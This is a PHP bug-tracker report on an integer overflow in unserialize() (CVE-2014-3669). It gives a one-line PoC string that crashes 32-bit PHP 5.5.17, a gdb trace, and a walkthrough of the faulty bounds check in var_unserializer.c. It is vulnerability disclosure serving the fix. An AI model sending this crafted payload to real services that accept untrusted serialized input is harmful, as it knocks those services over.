|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
Patchesoverflow-fix (last revision 2014-09-28 21:26 UTC by stas@php.net)Pull RequestsHistoryAllCommentsChangesGit/SVN commits
[2014-09-25 07:41 UTC] symeon dot paraschoudis at htbridge dot com
[2014-09-28 21:07 UTC] stas@php.net
[2014-09-28 21:26 UTC] stas@php.net
[2014-09-29 05:33 UTC] remi@php.net
-CVE-ID:
+CVE-ID: 2014-3669
[2014-10-14 17:42 UTC] stas@php.net
[2014-10-14 17:42 UTC] stas@php.net
-Status: Open
+Status: Closed
[2014-10-14 17:44 UTC] stas@php.net
[2014-10-14 17:45 UTC] stas@php.net
[2014-10-14 17:46 UTC] stas@php.net
[2014-10-14 17:53 UTC] stas@php.net
[2014-10-14 17:53 UTC] stas@php.net
[2014-10-14 17:53 UTC] stas@php.net
[2014-10-15 10:10 UTC] ab@php.net
[2014-10-15 10:11 UTC] ab@php.net
[2014-10-15 10:11 UTC] ab@php.net
[2014-10-15 12:08 UTC] jpauli@php.net
[2014-11-03 19:40 UTC] stas@php.net
[2014-11-18 20:35 UTC] ab@php.net
[2016-07-20 11:40 UTC] davey@php.net
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Thu Oct 23 21:00:01 2025 UTC |
Description: ------------ PoC ====================================== <?php unserialize('C:3:"GMP":18446744075857035259:{}'); ?> Result ====================================== gdb$ r poc.php Starting program: /home/user/Desktop/php-5.5.17/sapi/cli/php poc.php [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1". Warning: Class __PHP_Incomplete_Class has no unserializer in /home/user/Desktop/poc.php on line 2 Program received signal SIGSEGV, Segmentation fault. --------------------------------------------------------------------------[regs] EAX: 0x3510DAB3 EBX: 0xB510C74C ECX: 0x3510DAB4 EDX: 0xBFFFBA88 o d I t s z A p C ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFB918 ESP: 0xBFFFB918 EIP: 0x0850505F CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B --------------------------------------------------------------------------[code] => 0x850505f <finish_nested_data+16>: movzx eax,BYTE PTR [eax] 0x8505062 <finish_nested_data+19>: cmp al,0x7d .... snip .... -------------------------------------------------------------------------------- 0x0850505f in finish_nested_data (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:356 356 if (*((*p)++) == '}') gdb$ bt #0 0x0850505f in finish_nested_data (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:356 #1 0x085051bb in object_custom (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338, ce=0x8da10d0) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:387 #2 0x085062cb in php_var_unserialize (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:738 #3 0x084f264a in zif_unserialize (ht=0x1, return_value=0xb510c74c, return_value_ptr=0x0, this_ptr=0x0, return_value_used=0x0, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var.c:965 #4 0x0862eeda in zend_do_fcall_common_helper_SPEC (execute_data=0xb50ef08c, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/Zend/zend_vm_execute.h:550 #5 0x08633b66 in ZEND_DO_FCALL_SPEC_CONST_HANDLER (execute_data=0xb50ef08c, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/Zend/zend_vm_execute.h:2332 #6 0x0862e411 in execute_ex (execute_data=0xb50ef08c, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/Zend/zend_vm_execute.h:363 #7 0x0862e4cf in zend_execute (op_array=0xb510cff0, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/Zend/zend_vm_execute.h:388 #8 0x085f1f1d in zend_execute_scripts (type=0x8, tsrm_ls=0x8c81338, retval=0x0, file_count=0x3) at /home/user/Desktop/php-5.5.17/Zend/zend.c:1330 #9 0x08556b7e in php_execute_script (primary_file=0xbfffeee4, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/main/main.c:2506 #10 0x0869dee7 in do_cli (argc=0x2, argv=0x8c812a0, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/sapi/cli/php_cli.c:994 #11 0x0869f279 in main (argc=0x2, argv=0x8c812a0) at /home/user/Desktop/php-5.5.17/sapi/cli/php_cli.c:1378 Analysis =============================== 32bit case ============================ File var_unserializer.c, line 365: static inline int object_custom(UNSERIALIZE_PARAMETER, zend_class_entry *ce) { long datalen; datalen = parse_iv2((*p) + 2, p); (*p) += 2; if (datalen < 0 || (*p) + datalen >= max) { zend_error(E_WARNING, "Insufficient data for unserializing - %ld required, %ld present", datalen, (long)(max - (*p))); return 0; } ... snip ... (*p) += datalen; return finish_nested_data(UNSERIALIZE_PASSTHRU); } Initially we set a breakpoint at the previous if statement and examine the values. Breakpoint 1, object_custom (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338, ce=0x8da10d0) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:373 373 if (datalen < 0 || (*p) + datalen >= max) { gdb$ ptype datalen type = long gdb$ print sizeof(datalen) $1 = 0x4 gdb$ print datalen $2 = 0x7ffffffb gdb$ p/d datalen $3 = 2147483643 <-- Decimal value of datalen gdb$ p/x datalen + 5 $4 = 0x80000000 gdb$ p/d datalen + 5 $5 = -2147483648 <-- overflow on 32bits systems The addition of datalen with any value greater or equal to 5 will overflow the integer. This is due to the fact that the size of a long is the same as an integer. Let's examine the current decimal max, (*p) and (*p) + datalen values: gdb$ p/d max $6 = 3037780665 gdb$ p/d (*p) $7 = 3037780664 <-- Less than max but big enough to overflow datalen gdb$ p/d (*p) + datalen $8 = 890297011 <-- overflown value gdb$ p/x (*p) + datalen $9 = 0x3510dab3 Consequently, 890297011 is indeed less than max (3037780665) which means that the above if statement is false. We continue the execution and we end up here: Breakpoint 2, object_custom (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338, ce=0x8da10d0) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:385 385 (*p) += datalen; gdb$ step --------------------------------------------------------------------------[regs] EAX: 0xBFFFBA88 EBX: 0xB510C74C ECX: 0xBFFFB8C8 EDX: 0x3510DAB3 o d I t s z A p C ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFB958 ESP: 0xBFFFB920 EIP: 0x08505194 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B --------------------------------------------------------------------------[code] => 0x8505194 <object_custom+288>: mov eax,DWORD PTR [ebp+0x18] 0x8505197 <object_custom+291>: mov DWORD PTR [esp+0x10],eax ... snip ... ... snip ... -------------------------------------------------------------------------------- 387 return finish_nested_data(UNSERIALIZE_PASSTHRU); gdb$ print *p $10 = (const unsigned char *) 0x3510dab3 <error: Cannot access memory at address 0x3510dab3> As expected *p pointer now points to invalid memory address and continuing the execution we are going to dereference this address and eventually crash. gdb$ c Continuing. Program received signal SIGSEGV, Segmentation fault. --------------------------------------------------------------------------[regs] EAX: 0x3510DAB3 EBX: 0xB510C74C ECX: 0x3510DAB4 EDX: 0xBFFFBA88 o d I t s z A p C ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFB918 ESP: 0xBFFFB918 EIP: 0x0850505F CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B --------------------------------------------------------------------------[code] => 0x850505f <finish_nested_data+16>: movzx eax,BYTE PTR [eax] 0x8505062 <finish_nested_data+19>: cmp al,0x7d ... snip .... 0x8505073 <finish_nested_data+36>: ret -------------------------------------------------------------------------------- 0x0850505f in finish_nested_data (rval=0xbfffbab4, p=0xbfffba88, max=0xb510dab9 "", var_hash=0xbfffba84, tsrm_ls=0x8c81338) at /home/user/Desktop/php-5.5.17/ext/standard/var_unserializer.c:356 356 if (*((*p)++) == '}') =============================== 64bit case ============================ Breakpoint 1, object_custom (rval=0x7fffffffaa30, p=0x7fffffffaa50, max=0x7ffff1268bf1 "", var_hash=0x7fffffffaa48, ce=0x154b7f0) at /home/symeon/Desktop/php-5.5.17/ext/standard/var_unserializer.c:373 373 if (datalen < 0 || (*p) + datalen >= max) { gdb$ print sizeof(datalen) $1 = 0x8 gdb$ print datalen $2 = 0x7ffffffb gdb$ p/d datalen $3 = 2147483643 gdb$ p/x datalen + 5 $4 = 0x80000000 gdb$ p/d datalen + 5 $5 = 2147483648 <--- No overflow gdb$ p/d max $6 = 140737239223281 gdb$ p/d (*p) + datalen $7 = 140739386706923 On a 64-bit machine the sum of (*p) + datalen is calculated correctly and as 140739386706923 is greater than max (140737239223281) we jump into the if statement and get this warning: gdb$ c Warning: Insufficient data for unserializing - 2147483643 required, 1 present in /home/symeon/Desktop/poc.php on line 2 [Inferior 1 (process 8693) exited normally]